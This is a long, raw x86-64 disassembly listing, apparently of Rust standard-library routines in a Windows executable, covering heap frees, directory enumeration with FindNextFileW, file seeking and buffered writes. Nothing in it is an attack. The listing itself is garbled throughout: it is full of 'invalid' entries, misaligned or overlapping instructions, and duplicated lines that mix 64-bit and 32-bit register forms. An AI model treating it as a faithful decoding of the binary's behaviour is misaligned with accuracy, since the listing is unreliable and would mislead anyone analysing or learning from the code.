mov qword [rbp + 0x3e0], 2
test eax, esp
add eax, dword [rax]
add byte [rax], al
add al, byte [rax]
add byte [rax], al
test eax, esp
add eax, dword [rax]
add byte [rax], al
add al, byte [rax]
add byte [rax], al
mov qword [rbp + 0x3e8], rax
jmp case.0x140083c5d.235
invalid
invalid
test eax, esp
add eax, dword [rax]
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add al, byte [rax]
add byte [rax], al
mov qword [rbp + 0x3e8], rax
jmp case.0x140083c5d.235
mov qword [rbp + 0x3e0], 0
add byte [rax], al
add byte [rax - 0x73], cl
lea rcx, [rbp + 0x3a0]
lea r9, [rbp + 0x3d8]
lea esp, [rax + 0x4c000003]
lea ecx, [rbp + 0x3d8]
add byte [rbp + rcx*4 - 0x73], cl
fadd dword [rbx]
add byte [rax], al
mov edx, 2
add byte [rax], al
call fcn.1400a57b0
cmp qword [rbp + 0x3a0], 0
add eax, dword [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
lea ebp, [rax + 0x74000003]
add byte [rax], al
je 0x140082d16
movabs rax, 0x8000000000000001
add byte [rax], al
mov rcx, qword [rbp + 0x3a8]
add byte [rax], al
je 0x140082d16
movabs rax, 0x8000000000000001
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + 0xfc13948], al
jne case.0x140075b85.1592
cmp rdi, r12
or byte [rax + 0x39], 0xc1
cmp rcx, rax
jne case.0x140075b85.1592
test dword [rcx], eax
add byte [rax], al
cmp rdi, r12
jae 0x140082d08
and dword [rcx + rcx*4 - 7], ecx
mov rcx, r15
xor edx, edx
mov r8, r12
loopne 0x140082cd8
cld
mov ch, 2
invalid
ror byte [rbp - 0x77], cl
loopne 0x140082cd8
cld
mov ch, 2
add byte [rbx + rcx*4 - 0x43], cl
invalid
invalid
invalid
add byte [rax + rax], al
add al, 0
mov r15, qword [rbp + 0x400]
mov rsi, qword [r15 + 0x10]
ja 0x140082d0f
add al, 0
add byte [rcx - 0x75], cl
ja 0x140082d0f
mov rcx, qword [r15]
mov r14, qword [r15 + 8]
jmp 0x140082d1f
xor esi, esi
mov r14, rdi
test byte [rcx - 0x77], 0xfe
mov rcx, qword [rbp + 0x418]
jmp 0x140082d1f
lea ebx, [rax]
add al, 0
add bl, ch
or dword [rcx - 0x77], ecx
cmovge ecx, dword [rcx - 0x9cef789]
or byte [rcx], dh
invalid
mov qword [r15], rcx
mov qword [r15 + 8], r14
or byte [rcx], dh
invalid
or byte [rcx], dh
test byte [rdi - 0x73], 4
and al, 0x48
mov dword [rbp + 0x418], ecx
lea ebx, [rax]
add al, 0
invalid
lea r8, [r12 + r12]
mov qword [rbp + 0x418], rcx
lea ebx, [rax]
add al, 0
invalid
lea ebx, [rax]
add al, 0
add byte [rax - 0x73], cl
lea rcx, [rcx + rsi*2]
or al, 0x71
mov rdx, rbx
mov edx, ebx
call sub.VCRUNTIME140.dll_memcpy
add rsi, r12
mov qword [r15 + 0x10], rsi
mov dword [rdi + 0x10], esi
mov rax, r14
sub rax, rsi
cmp rax, r13
cmp eax, ebp
cmp eax, ebp
jae 0x140082d6a
mov rcx, r15
mov rdx, rsi
mov edx, esi
mov edx, esi
mov r8, r13
mov r8, r13
call fcn.1400ae2f0
mov r15, qword [rbp + 0x400]
mov rsi, qword [r15 + 0x10]
mov esi, dword [rdi + 0x10]
mov esi, dword [rdi + 0x10]
adc byte [rcx - 0x75], cl
invalid
mov rdi, qword [r15]
mov r14, qword [r15 + 8]
or bl, ch
invalid
or bl, ch
invalid
mov rdi, qword [rbp + 0x418]
lea r8, [r13*2]
lea eax, [rbp*2]
insd dword [rdi], dx
add byte [rax], al
add byte [rax], al
invalid
add byte [rax - 0x73], cl
lea rcx, [rdi + rsi*2]
or al, 0x77
mov rdx, qword [rbp + 0x408]
mov edx, dword [rbp + 0x408]
call sub.VCRUNTIME140.dll_memcpy
add rsi, r13
add esi, ebp
add esi, ebp
mov qword [r15 + 0x10], rsi
ja 0x140082da0
cmp rsi, r14
jne 0x140082dae
div byte [rbp + 0x19]
mov rcx, r15
mov ecx, edi
mov rdx, r14
call fcn.140010730
nop
fprem
invalid
nop
fprem
dec dword [rbx + rcx*4 - 0x43]
add byte [rax + rax], al
mov r15, qword [rbp + 0x400]
mov rdi, qword [r15]
add byte [rcx - 0x75], cl
invalid
mov edi, dword [rdi]
mov rsi, qword [r15 + 0x10]
mov esi, dword [rdi + 0x10]
mov word [rdi + rsi*2], 0
add al, 0x77
add byte [rax], al
inc rsi
mov qword [r15 + 0x10], rsi
xor esi, esi
cmp qword [rbp + 0x3f0], 0
mov ebp, 0x3f0
invalid
je 0x140082ddd
mov ebp, 0x3f0
add byte [rsi + rdx + 0x48], dh
mov ecx, dword [0x1400f91f8]
invalid
invalid
invalid
mov rcx, qword [0x1400f91f8]
invalid
invalid
xor edx, edx
mov r8, qword [rbp + 0x3f8]
call qword [sym.imp.kernel32.dll_HeapFree]
add al, byte [rax]
test rsi, rsi
je 0x140082e0f
div byte [rbp + rbp + 0x48]
mov eax, dword [rbp + 0x3d0]
add byte [rax], al
mov rax, qword [rbp + 0x3d0]
mov qword [rax + 8], rsi
mov qword [rax], 0
cmp qword [r15 + 8], 0
jg 0x140082e00
invalid
je 0x140082e25
jg 0x140082e00
add byte [rdx + rbp + 0x4d], dh
mov r8, qword [r15]
mov eax, dword [rdi]
mov rcx, qword [0x1400f91f8]
or eax, 0x763f3
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
add bl, ch
invalid
mov rax, qword [r15 + 0x10]
mov eax, dword [rdi + 0x10]
mov rcx, qword [rbp + 0x3d0]
mov qword [rcx + 0x10], rax
movups xmm0, xmmword [r15]
invalid
add eax, dword [rax]
add byte [rax - 0x77], cl
mov qword [rcx + 0x10], rax
movups xmm0, xmmword [r15]
invalid
movups xmmword [rcx], xmm0
add rsp, 0x4a8
test al, 4
add byte [rax], al
invalid
add al, 0
add byte [rbx + 0x5f], bl
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rdi
pop rbp
ret
add eax, 0x67b71
mov edx, 0x28
sub byte [rax], al
add byte [rax], al
jno 0x140082ec0
invalid
sub byte [rax], al
add byte [rax], al
call fcn.1400a9e70
jmp 0x140082e99
invalid
lea r8, str.library_std_src_syswindowsmod.rs
mov rcx, r13
mov rdx, r12
mov edx, esp
mov edx, esp
call fcn.1400a9df0
jmp 0x140082e99
test rcx, rcx
jne 0x140082e73
invalid
invalid
call fcn.1400401e0
jmp 0x140082e99
mov rdx, qword [rbp + 0x3b0]
call fcn.1400a9bd0
insd dword [rdi], dx
add al, byte [rax]
add eax, dword [rax]
add al, ch
push rcx
insd dword [rdi], dx
add al, byte [rax]
jmp 0x140082e99
test rcx, rcx
jne case.0x140084685.90
call fcn.1400401e0
jmp 0x140082e99
mov rdx, qword [rbp + 0x3b0]
mov edx, dword [rbp + 0x3b0]
call fcn.1400a9bd0
invalid
ud2
nop dword [rax + rax]
mov qword [rsp + 0x10], rdx
and al, 0x10
invalid
and al, 0x10
push rbp
push r15
push r14
push r13
push r12
push rsp
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
add byte [rax], 0
add byte [rax - 0x7d], cl
mov ebp, 0x3c0
rol byte [rbx], 0
add byte [rax], al
add byte [rax], 0
add byte [rax - 0x7d], cl
mov ebp, 0x3c0
rol byte [rbx], 0
add byte [rax], al
je 0x140082edc
mov r8, qword [rbp + 0x3b8]
rol byte [rbx], 0
add eax, dword [rax]
add byte [rax], al
je 0x140082edc
mov r8, qword [rbp + 0x3b8]
test dword [rax + 0x48000003], edi
mov ecx, dword [0x1400f91f8]
and al, 0x63
invalid
invalid
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x2d52c
invalid
add byte [rax - 0x75], cl
test dword [rax], eax
add al, 0
mov rax, qword [rbp + 0x400]
cmp qword [rax + 8], 0
js 0x140082eef
invalid
add byte [rax - 0x7d], cl
js 0x140082eef
add byte [rcx + rbx + 0x48], dh
mov eax, dword [rbp + 0x400]
test dword [rax], eax
add al, 0
invalid
je case.0x14002f3a6.1303
sbb dword [rax - 0x75], ecx
test dword [rax], eax
add al, 0
mov rax, qword [rbp + 0x400]
add byte [rax], al
add byte [rbx + rcx*4], cl
mov r8, qword [rax]
mov rcx, qword [0x1400f91f8]
xor edx, edx
sar bh, cl
adc eax, 0x2d505
std
invalid
sar bh, cl
adc eax, 0x2d505
nop
add rsp, 0x28
add esp, 0x28
add esp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop rsp
pop rsp
pop r13
pop r14
pop r15
pop rbp
ret
int3
int3
push r15
push r14
push rsi
push r13
push r12
push rsp
push rsp
push rsi
push rdi
push rbx
sub rsp, 0x58
in al, dx
pop rax
in al, dx
pop rax
lea rbp, [rsp + 0x50]
mov qword [rbp], 0xfffffffffffffffe
mov dword [rbp], 0xfffffffe
mov dword [rbp], 0xfffffffe
invalid
mov rsi, r9
mov rdi, r8
mov edi, eax
mov edi, eax
mov dword [rbp - 0x30], 0
xorps xmm0, xmm0
push rdi
ror byte [rdi], 0x11
fadd st(7)
call 0x140082f5f
rol byte [r8], 1
add byte [rax], al
add byte [rdi], cl
push rdi
ror byte [rdi], 0x11
fadd st(7)
call 0x140082f5f
mov qword [rbp - 0x14], 0
mov dword [rbp - 0x14], 0
mov word [rbp - 0xc], 0
mov byte [rbp - 0xf], 1
int1
invalid
int1
add esi, eax
invalid
hlt
mov byte [rbp - 0xc], 1
mov byte [rbp - 0xd], 1
lea r8, [rbp - 0x30]
shr r8b, 1
cmc
out dx, eax
invalid
dec dword [rax - 0x7b]
invalid
shr r8b, 1
shr al, 1
cmc
out dx, eax
invalid
dec dword [rax - 0x7b]
sal byte [rax + rcx + 0x49], 0x89
xlatb
test eax, eax
je 0x140082f88
mov r15, rdx
jmp 0x140083054
test rsi, rsi
mov qword [rbp - 8], rdx
test byte [rax - 0x77], 0x55
clc
je 0x140083047
mov dl, 0
add byte [rax], al
lea rbx, [rbp - 0x28]
lea ebx, [rbp - 0x28]
fmul dword [rbp + rcx*4 + 0x75]
ror byte [rbp + rcx*4 + 0x25], 1
and eax, 0x65fdc
lea r13, [0x1400f08e8]
jmp 0x140082fcc
lea r14, [rbp - 0x30]
lea r12, str.failed_to_write_whole_buffer
and eax, 0x65fdc
and eax, 0x65fdc
lea r13, [0x1400f08e8]
jmp 0x140082fcc
mov rcx, rbx
call fcn.140079f00
test rsi, rsi
test esi, esi
test esi, esi
mov rdx, qword [rbp - 8]
je 0x140083047
mov rcx, r14
mov r8, rdi
mov r9, rsi
call fcn.14007b4d0
cmp qword [rbp - 0x30], 0
je case.default.0x140082ff3
mov r15, qword [rbp - 0x28]
mov eax, r15d
and eax, 3
movsxd rax, dword [r13 + rax*4]
add rax, r13
jmp rax
cmp byte [r15 + 0x10], 0x23
je 0x140082fbb
jmp 0x14008304a
mov rcx, qword [rbp - 0x28]
test rcx, rcx
je 0x140083068
mov rax, rsi
sub rax, rcx
jb 0x14008306d
add rdi, rcx
mov rsi, rax
test rsi, rsi
mov rdx, qword [rbp - 8]
jne 0x140082fcc
jmp 0x140083047
nop word cs:[rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
mov rax, r15
shr rax, 0x20
cmp eax, 0x28
ja 0x14008304a
cmp rax, 0x23
jne 0x14008304a
jmp 0x140082fbb
xor r15d, r15d
dec dword [rax - 0x75]
clc
mov rcx, qword [rbp - 8]
call qword [sym.imp.kernel32.dll_CloseHandle]
mov rax, r15
add rsp, 0x58
pop rax
pop rax
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov r15, r12
jmp 0x14008304a
lea r8, [0x1400e8f98]
add byte [rax - 0x77], cl
bnd call fcn.1400a9cf0
invalid
mov rdx, rsi
call fcn.1400a9cf0
invalid
add byte [rdi], cl
or esp, dword [rsi - 0x70]
mov qword [rsp + 0x10], rdx
push rbp
push r15
push r14
ud2
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x50]
push rax
push rax
mov rcx, qword [rbp - 8]
call qword [sym.imp.kernel32.dll_CloseHandle]
sbb eax, 0x900002d3
sbb eax, 0x900002d3
add byte [rax + 0x28c48348], dl
add rsp, 0x28
invalid
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
int3
int3
int3
int3
sub esp, 0x30
in al, dx
xor byte [rcx + rcx*4 - 0x38], cl
mov rax, r9
mov rsi, rcx
mov esi, ecx
lea rcx, [0x1400eae40]
mov r9d, dword [rcx + r8*4]
invalid
add byte [rsi - 0x75], al
or al, 0x81
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x28], 0
sub byte [rax], al
add byte [rax], al
add byte [rbp + rcx*4 + 0x44], cl
and al, 0x28
lea r8, [rsp + 0x28]
and al, 0x28
mov rcx, rdx
mov ecx, edx
mov rdx, rax
mov edx, eax
call qword [sym.imp.kernel32.dll_SetFilePointerEx]
mov dl, dl
add al, byte [rax]
invalid
add byte [rbp + 0x480d74c0], al
mov eax, dword [rsp + 0x28]
and al, 0x28
test eax, eax
je case.0x140026edd.1431
invalid
or eax, 0x24448b48
sub byte [rax - 0x77], cl
mov dword [rsi + 8], eax
xor eax, eax
jmp 0x140083118
mov rax, qword [rsp + 0x28]
and al, 0x28
mov qword [rsi + 8], rax
mov dword [rsi + 8], eax
xor eax, eax
jmp 0x140083118
call qword [sym.imp.kernel32.dll_GetLastError]
shl rax, 0x20
shl eax, 0x20
rol byte [rdx], cl
add byte [rax - 0x3f], cl
shl eax, 0x20
shl eax, 0x20
and byte [rax - 0x7d], cl
enter 0x4802, 0xffffffffffffff89
mov qword [rsi + 8], rax
mov eax, 1
or rax, 2
mov qword [rsi + 8], rax
mov dword [rsi + 8], eax
or byte [rax + 1], bh
mov eax, 1
add byte [rax], al
add byte [rax - 0x77], cl
invalid
mov qword [rsi], rax
mov dword [rsi], eax
add rsp, 0x30
pop rsi
invalid
ret
int3
int3
int3
int3
int3
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x508
sub esp, 0x508
sub esp, 0x508
in al, dx
or byte [0x169173141], al
add eax, 0x290f0000
add eax, 0x290f0000
movaps xmmword [rsp + 0x4f0], xmm6
sub dword [rsp + 0x4f0], esi
mov ah, 0x24
invalid
mov rbx, rdx
mov ebx, edx
mov rsi, rcx
mov eax, dword [rdx + 0x10]
adc bl, sil
movd dword [rdx + 0x40], mm6
adc bl, sil
adc bl, dh
movd dword [rdx + 0x40], mm6
jb case.0x14007cad1.698
movzx ebp, word [rdx + 0x44]
mov bh, 0x6a
mov dword [rdx + 0x10], 0
mov dword [rdx + 0x10], 0
adc byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rbx + 0x2d7501f8], al
cmp eax, 1
jne 0x140083192
sub eax, 0x66338b4c
movd eax, mm6
jle case.0x140026edd.1444
mov r14, qword [rbx]
mov esi, dword [rbx]
movd eax, xmm6
jle case.0x140026edd.1444
invalid
cmp ax, 0x2e
cmp eax, 0x2e
clc
jne 0x140083283
invalid
invalid
add dword [rax], eax
invalid
jne 0x140083283
test dword [0x1a6083178], ecx
or eax, 0x66000001
add dword [rax], eax
add byte [rsi + 0xf], ah
add byte [rax], al
pextrw eax, xmm6, 1
pextrw eax, mm6, 1
invalid
mov byte [rcx], 0x85
sal byte [rbx + rdx + 0x66], 0x83
je 0x140083192
invalid
invalid
clc
test eax, eax
je 0x140083192
cmp ax, 0x2e
cmp eax, 0x2e
jne 0x140083283
jne 0x140083283
add byte [rax], al
add byte [rsi - 0x7b], ah
test bp, bp
add byte [rax], al
test bp, bp
jne 0x140083283
test ecx, esi
int1
add byte [rax], al
add byte [rax], al
add byte [rbp + rcx*4 - 0x4c], cl
lea r14, [rsp + 0x80]
mov ah, 0x24
add byte [rax], 0
add byte [rax], al
and al, 0x80
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x48], al
mov r8d, 0x250
mov eax, 0x250
push rax
add al, byte [rax]
add byte [rax], al
mov rcx, r14
add byte [rax], al
mov rcx, r14
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov rdi, qword [rbx + 8]
mov edi, dword [rbx + 8]
jnp 0x1400831b6
mov rcx, rdi
mov rdx, r14
call qword [sym.imp.kernel32.dll_FindNextFileW]
add al, byte [rax]
bnd call qword [sym.imp.kernel32.dll_FindNextFileW]
rol byte es:[rdx], 1
add byte [rbp - 0x597bf040], al
test eax, eax
invalid
invalid
cmpsb byte [rsi], byte [rdi]
add al, byte [rax]
test eax, eax
je 0x140083268
add byte [rax], al
invalid
add byte [rax], al
add byte [rbx + rcx*4 + 0x33], cl
mov r14, qword [rbx]
lea rbx, [rsp + 0x80]
lea ebx, [rsp + 0x80]
and al, 0x80
add byte [rax], al
add byte [rbx + rcx*4 + 0x3d], cl
mov r15, qword [sym.imp.kernel32.dll_FindNextFileW]
mov r15, qword [sym.imp.kernel32.dll_FindNextFileW]
cmp eax, 0x2d00c
jmp 0x1400831ed
nop word cs:[rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
mov rcx, rdi
stc
mov rdx, rbx
mov edx, ebx
call r15
test eax, eax
je 0x140083268
cmp word [rsp + 0xac], 0x2e
and al, 0xac
add byte [rax], al
add byte [rsi], ch
jne 0x140083216
invalid
movzx eax, word [rsp + 0xae]
and al, 0xae
add byte [rax], al
add byte [rax], al
test ax, ax
je 0x1400831e0
cmp ax, 0x2e
jne 0x140083216
add byte [rax], al
test ax, ax
je 0x1400831e0
cmp ax, 0x2e
jne 0x140083216
cmp word [rsp + 0xb0], 0
cmp dword [rsp + 0xb0], 0
mov al, 0
add byte [rax], al
add byte [rdx + rcx*8 - 0x10], dh
inc qword [r14]
je 0x1400831e0
lock inc qword [r14]
jle 0x14008336d
mov rdi, qword [rsp + 0x80]
mov edi, dword [rsp + 0x80]
add byte [rax], al
movups xmm0, xmmword [rsp + 0x88]
movaps xmmword [rsp + 0x20], xmm0
invalid
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x20], eax
invalid
and byte [rdi], cl
movups xmm0, xmmword [rsp + 0x98]
adc byte [rsp + 0x98], al
add byte [rax], al
movaps xmmword [rsp + 0x30], xmm0
mov eax, dword [rsp + 0xa8]
and al, 0xa8
add byte [rax], al
add byte [rcx + 0x66402444], cl
mov dword [rsp + 0x40], eax
movd xmm6, dword [rsp + 0xac]
mov dword [rsp + 0x40], eax
and al, 0x40
movd xmm6, dword [rsp + 0xac]
mov ah, 0x24
lodsb al, byte [rsi]
and al, 0xac
add byte [rax], al
add byte [rdi], cl
movzx ebp, word [rsp + 0xb0]
mov bh, 0xac
and al, 0xb0
add byte [rax], al
add byte [rax - 0x73], cl
invalid
invalid
xchg esp, eax
and al, 0xb2
mov dl, 0
invalid
lea rdx, [rsp + 0xb2]
add bl, ch
call qword [sym.imp.kernel32.dll_GetLastError]
adc eax, 0x2d13a
jmp 0x1400832ae
call qword [sym.imp.kernel32.dll_GetLastError]
add al, byte [rax]
cmp eax, 0x12
jne 0x1400832fa
add dword [rax], 0
invalid
add dword [rax], 0
add byte [rax], al
add byte [rax - 0x39], cl
invalid
mov qword [rsi], 0
add byte [rax], al
add byte [rax], al
jmp 0x140083355
add byte [rax], al
add al, dh
inc qword [r14]
inc dword [rsi]
lock inc qword [r14]
jle 0x14008336d
mov fs, eax
add byte [rax], al
add byte [rax - 0x73], cl
lea rdx, [rbx + 0x46]
lea edx, [rbx + 0x46]
push rbx
mov rdi, qword [rbx + 0x14]
jnp 0x1400832a9
mov rdi, qword [rbx + 0x14]
mov eax, dword [rbx + 0x3c]
mov dword [rsp + 0x40], eax
and al, 0x40
cmp al, 0x89
and al, 0x40
and al, 0x40
movups xmm0, xmmword [rbx + 0x2c]
adc byte [rbx + 0x2c], al
movaps xmmword [rsp + 0x30], xmm0
xor byte [rdi], cl
adc byte [rbx + 0x1c], al
invalid
movups xmm0, xmmword [rbx + 0x1c]
movaps xmmword [rsp + 0x20], xmm0
and al, 0x20
lea rcx, [rsp + 0x2d2]
rol byte [rdx], cl
add byte [rax], al
mov r8d, 0x21e
call sub.VCRUNTIME140.dll_memcpy
sub dh, byte [rbx]
add al, byte [rax]
invalid
add al, byte [rax]
add al, ch
sub dh, byte [rbx]
add al, byte [rax]
invalid
add byte [rbx - 0x76bfdbbc], cl
and al, 0x70
and al, 0x70
mov eax, dword [rsp + 0x40]
mov dword [rsp + 0x70], eax
and al, 0x70
and al, 0x70
movaps xmm0, xmmword [rsp + 0x20]
movaps xmm1, xmmword [rsp + 0x30]
movaps xmmword [rsp + 0x60], xmm1
and al, 0x60
and al, 0x60
movaps xmmword [rsp + 0x50], xmm0
push rax
lea rcx, [rsp + 0x80]
add byte [rax], al
lea rdx, [rsp + 0x2d2]
mov r8d, 0x21e
mov eax, 0x21e
add al, byte [rax]
add byte [rcx - 0x48], al
invalid
invalid
add byte [rax], al
call sub.VCRUNTIME140.dll_memcpy
jmp case.0x14002f3a6.1344
call qword [sym.imp.kernel32.dll_GetLastError]
add byte [rcx - 0x183eb739], cl
and byte [rax - 0x7d], cl
invalid
invalid
iretd
mov edi, eax
shl rdi, 0x20
shl edi, 0x20
or rdi, 2
xor r14d, r14d
mov qword [rsi + 8], r14
mov qword [rsi + 0x10], rdi
movaps xmm0, xmmword [rsp + 0x50]
and al, 0x50
adc byte [rdi], cl
sub byte [rsp + 0x50], al
and al, 0x50
push rax
movaps xmm1, xmmword [rsp + 0x60]
sub byte [rsp + 0x60], cl
movups xmmword [rsi + 0x18], xmm0
movups xmmword [rsi + 0x28], xmm1
invalid
sbb byte [rdi], cl
adc dword [rsi + 0x28], ecx
invalid
mov eax, dword [rsp + 0x70]
and al, 0x70
mov dword [rsi + 0x38], eax
movd dword [rsi + 0x3c], xmm6
jle 0x1400833a8
invalid
jle 0x1400833a8
cmp al, 0x66
mov word [rsi + 0x40], bp
mov dword [rsi + 0x40], ebp
lea rcx, [rsi + 0x42]
lea rdx, [rsp + 0x80]
lea rdx, [rsp + 0x80]
lea edx, [rsp + 0x80]
mov r8d, 0x21e
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsi], 1
mov dword [rsi], 1
movaps xmm6, xmmword [rsp + 0x4f0]
add rsp, 0x508
add esp, 0x508
add byte [rbx + 0x5d], bl
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
ud2
int3
int3
int3
push rsi
push rdi
push rbx
sub rsp, 0x70
lea rbp, [rsp + 0x70]
insb byte [rdi], dx
and al, 0x70
insb byte [rdi], dx
and al, 0x70
mov qword [rbp - 8], 0xfffffffffffffffe
clc
invalid
mov rax, rdx
mov rsi, rcx
mov rcx, qword [rdx]
mov ecx, dword [rdx]
mov ecx, dword [rdx]
or cl, byte [rax - 0x75]
pop rcx
adc byte [rax - 0x75], cl
jns 0x1400833cc
mov rbx, qword [rcx + 0x10]
mov ebx, dword [rcx + 0x10]
mov rdi, qword [rcx + 0x20]
add rdx, 0x34
lea rcx, [rax + 0x234]
lea ecx, [rax + 0x234]
xor al, 2
add byte [rax], al
invalid
add byte [rcx - 0x47], al
add al, 1
add dword [rax], eax
invalid
mov r9d, 0x104
add dword [rax], eax
add byte [rcx - 0x77], cl
mov eax, edx
cmp word [r8], 0
mov r8, rdx
mov eax, edx
cmp word [r8], 0
cmp dword [r8], 0
je case.0x14007e263.235
stosd dword [rdi], eax
add byte [rax], al
add byte [rsi + 0x41], ah
cmp word [r8 + 2], 0
cmp dword [r8 + 2], 0
cmp dword [rax + 2], 0
js case.0x14007e2fa.221
add al, byte [rax]
add byte [rbx + rdi*2 + 0x66], dh
je 0x14008344e
jnp 0x14008343a
cmp word [r8 + 4], 0
cmp dword [r8 + 4], 0
js case.0x14007eb24.197
add byte [rcx + rdi*2 + 0x66], dh
je case.0x1400689bc.1243
cmp word [r8 + 6], 0
cmp dword [r8 + 6], 0
cmp dword [rax + 6], 0
je case.0x14007e263.231
cmp word [r8 + 8], 0
cmp dword [r8 + 8], 0
je 0x140083460
cmp word [r8 + 0xa], 0
or al, byte [rax]
je case.0x140082303.184
jae case.0x14007e263.231
cmp word [r8 + 0xc], 0
cmp dword [r8 + 0xc], 0
je 0x14008346c
cmp word [r8 + 0xe], 0
je 0x140083472
invalid
add byte [rdi + rbp*2 + 0x49], dh
add ecx, 0xfffffff8
clc
add r9, 0xfffffffffffffff8
clc
add r8, 0x10
cmp r9, 7
invalid
ja 0x1400833c0
adc byte [rcx - 0x7d], cl
stc
invalid
cmp word [rcx], 0
je 0x140083479
cmp word [rax + 0x236], 0
add al, byte [rax]
add byte [rax], al
invalid
add byte [rax], al
add byte [rdi], cl
test byte [rdx + 1], dl
invalid
je 0x140083577
add dword [rax], eax
add byte [rax], al
add byte [rsi - 0x7d], ah
mov eax, 0x238
add byte [rax], al
cmp word [rax + 0x238], 0
je 0x140083585
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
test byte [rdx + 1], dl
add byte [rax], al
mov r8d, 0x104
add al, 1
add dword [rax], eax
add byte [rax], al
add byte [rsi - 0x7d], ah
mov eax, 0x23a
add byte [rax], al
cmp word [rax + 0x23a], 0
cmp dword [rax + 0x23a], 0
add byte [rax], al
add byte [rax], al
add byte [rbp + 0x4c], dh
jne case.0x14007e263.236
add rax, 0x23a
mov rcx, rax
mov ecx, eax
add al, byte [rax]
add byte [rax - 0x77], cl
invalid
mov ecx, eax
shr ebx, 0x2b
jmp 0x140083479
sub ecx, dword [rcx - 0x7d]
rol byte [rdx], 0xeb
jmp case.0x14007e263.235
add r8, 4
jmp case.0x14007e263.235
add r8, 2
add eax, 2
jmp case.0x14007e263.235
add r8, 4
jmp case.0x14007e263.235
add al, 0xeb
sbb al, 0x49
invalid
add r8, 6
add eax, 6
jmp case.0x14007e263.235
add r8, 8
ror byte [rax], 0xeb
adc byte [rcx - 0x7d], cl
add r8, 0xa
invalid
jmp case.0x14007e263.235
add r8, 0xa
add eax, 0xa
or ch, bl
jmp case.0x14007e263.235
or cl, byte [rcx - 0x7d]
add r8, 0xc
ror byte [rbx + rbp*8], 4
jmp case.0x14007e263.235
add r8, 0xe
add eax, 0xe
mov rcx, r8
mov ecx, eax
sub rcx, rdx
mov r8, rcx
mov eax, ecx
ror dword [rcx - 0x77], 1
mov eax, ecx
enter 0xffffffffffffd149, 0xffffffffffffffe8
shr r8, 1
shr eax, 1
call 0x14b01b5ce
cmp rcx, 0x20a
or al, byte [rdx]
add byte [rax], al
add al, byte [rax]
add byte [rdi], cl
add dword [rcx + rax], 0
add dword [rax], eax
jae case.0x14007ec64.212
add dword [rax], eax
add byte [rax - 0x73], cl
mov r8b, 0xe8
mov al, 0xe8
lea rcx, [rbp - 0x50]
mov al, 0xe8
call fcn.14007df10
mov r12, qword [rbp - 0x50]
mov esp, dword [rbp - 0x50]
js 0x140083440
invalid
dec dword [rbx + rcx*4 + 0x65]
mov al, 0x4c
invalid
mov esp, dword [rbp - 0x50]
mov al, 0x4c
mov r14, qword [rbp - 0x40]
mov esi, dword [rbp - 0x40]
jne 0x140083460
test rdi, rdi
test edi, edi
mov qword [rbp - 0x10], r12
mov dword [rbp - 0x10], esp
je 0x1400834fc
push rbx
js 0x1400835ac
std
add byte [rax], al
add byte [rax], al
movzx eax, byte [0x1400f92c0]
invalid
invalid
add byte [rax], al
movzx eax, byte [0x1400f92c0]
add eax, 0x75e0a
mov rcx, qword [0x1400f91f8]
or eax, 0x75d3b
test rcx, rcx
jne 0x1400834d7
adc eax, 0xcf2815ff
add al, byte [rax]
invalid
call qword [sym.imp.kernel32.dll_GetProcessHeap]
add byte [rax - 0x7b], cl
sal byte [rbp + rbx + 0x48], 0x89
je case.0x14007eb24.215
mov rcx, rax
mov qword [0x1400f91f8], rax
invalid
add byte [rcx], dh
test rax, rax
je case.0x14007eb24.215
mov rcx, rax
mov qword [0x1400f91f8], rax
invalid
invalid
invalid
xor edx, edx
mov r8, rdi
mov eax, edi
ror byte [rcx - 0x77], cl
mov eax, edi
clc
call qword [sym.imp.kernel32.dll_HeapAlloc]
invalid
add byte [rcx - 0x77], cl
mov r15, rax
mov edi, eax
invalid
test rax, rax
jne case.0x14007ec64.209
mov ecx, 1
add dword [rax], eax
add byte [rax], al
mov rdx, rdi
mov edx, edi
call fcn.1400a9bd0
add cl, ch
mov ch, 0
add byte [rax], al
invalid
jmp case.0x1400271cf.1446
add byte [rax], al
add byte [rcx - 0x41], al
mov r15d, 1
mov edi, 1
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rcx + rcx*4 - 7], cl
mov rcx, r15
mov rcx, r15
stc
mov rdx, rbx
mov edx, ebx
mov r8, rdi
clc
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp - 0x30], r15
jge 0x1400834e4
add byte [rcx + rcx*4 + 0x7d], cl
ror byte [rax - 0x77], 1
jge 0x1400834f0
invalid
mov qword [rbp - 0x28], rdi
mov dword [rbp - 0x28], edi
fmul dword [rax - 0x77]
mov qword [rbp - 0x20], rdi
jge 0x1400834fc
loopne case.0x14007eb24.206
mov byte [rbp - 0x18], 0
call 0x18d957d23
ror byte [rcx + rcx*4 - 0x1e], 1
invalid
lea rcx, [rbp - 0x30]
mov rdx, r12
invalid
loop 0x140083575
mov r8, r14
mov eax, esi
call fcn.140083660
xor dword [rcx], eax
add byte [rax], al
invalid
add byte [rdi], cl
adc byte [rbp - 0x30], al
invalid
movups xmm0, xmmword [rbp - 0x30]
